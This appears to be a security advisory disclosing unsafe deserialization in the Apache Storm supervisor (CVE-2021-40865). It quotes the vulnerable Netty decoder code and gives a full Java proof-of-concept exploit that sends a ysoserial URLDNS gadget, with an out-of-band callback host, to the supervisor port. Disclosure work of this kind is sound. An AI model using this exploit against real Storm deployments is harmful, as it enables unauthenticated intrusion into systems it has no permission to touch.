GHSL-2021-086: Unsafe Deserialization in Apache Storm supervisor - CVE-2021-40865

    protected void initChannel(Channel ch) throws Exception {
        // Create a default pipeline implementation.
        ChannelPipeline pipeline = ch.pipeline();

        // Decoder
        pipeline.addLast("decoder", new MessageDecoder(new KryoValuesDeserializer(topoConf)));
        // Encoders
        pipeline.addLast("netty-serializable-encoder", NettySerializableMessageEncoder.INSTANCE);
        pipeline.addLast("backpressure-encoder", new BackPressureStatusEncoder(new KryoValuesSerializer(topoConf)));

        boolean isNettyAuth = (Boolean) topoConf
            .get(Config.STORM_MESSAGING_NETTY_AUTHENTICATION);
        if (isNettyAuth) {
            // Authenticate: Removed after authentication completes
            pipeline.addLast("saslServerHandler", new SaslStormServerHandler(
                server));
            // Authorize
            pipeline.addLast("authorizeServerHandler",
                new SaslStormServerAuthorizeHandler());
        }
        // business logic.
        pipelin.addLast("handler", new StormServerHandler(server));
    }

  // case 3: BackPressureStatus
  if (code == BackPressureStatus.IDENTIFIER) {
      available = buf.readableBytes();
      if (available < 4) {
          //Need  more data
          buf.resetReaderIndex();
          return;
      }
      int dataLen = buf.readInt();
      if (available < 4 + dataLen) {
          // need more data
          buf.resetReaderIndex();
          return;
      }
      byte[] bytes = new byte[dataLen];
      buf.readBytes(bytes);
      out.add(BackPressureStatus.read(bytes, deser));
      return;
  }

  public static BackPressureStatus read(byte[] bytes, KryoValuesDeserializer deserializer) {
    return (BackPressureStatus) deserializer.deserializeObject(bytes);
  }

import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;

import java.io.*;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;

public class NettyExploit {

    /**
     * Encoded as -600 ... short(2) len ... int(4) payload ... byte[]     *
     */
    public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
        byte[] payload = ser.serializeObject(obj);
        BigInteger codeInt = BigInteger.valueOf(-600);
        byte[] code = codeInt.toByteArray();
        BigInteger lengthInt = BigInteger.valueOf(payload.length);
        byte[] length = lengthInt.toByteArray();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
        outputStream.write(code);
        outputStream.write(new byte[] {0, 0});
        outputStream.write(length);
        outputStream.write(payload);
        return outputStream.toByteArray( );
    }

    public static KryoValuesSerializer getSerializer() throws MalformedURLException {
        HashMap<String, Object> conf = new HashMap<>();
        conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
        conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
        conf.put("topology.skip.missing.kryo.registrations", false);
        conf.put("topology.fall.back.on.java.serialization", true);
        return new KryoValuesSerializer(conf);
    }

    public static void main(String[] args) {
        try {
            // Payload construction
            String command = "http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net";
            ObjectPayload gadget = URLDNS.class.newInstance();
            Object payload = gadget.getObject(command);

            // Kryo serialization
            byte[] bytes = buffer(getSerializer(), payload);

            // Send bytes
            Socket socket = new Socket("127.0.0.1", 6700);
            OutputStream outputStream = socket.getOutputStream();
            outputStream.write(bytes);
            outputStream.flush();
            outputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}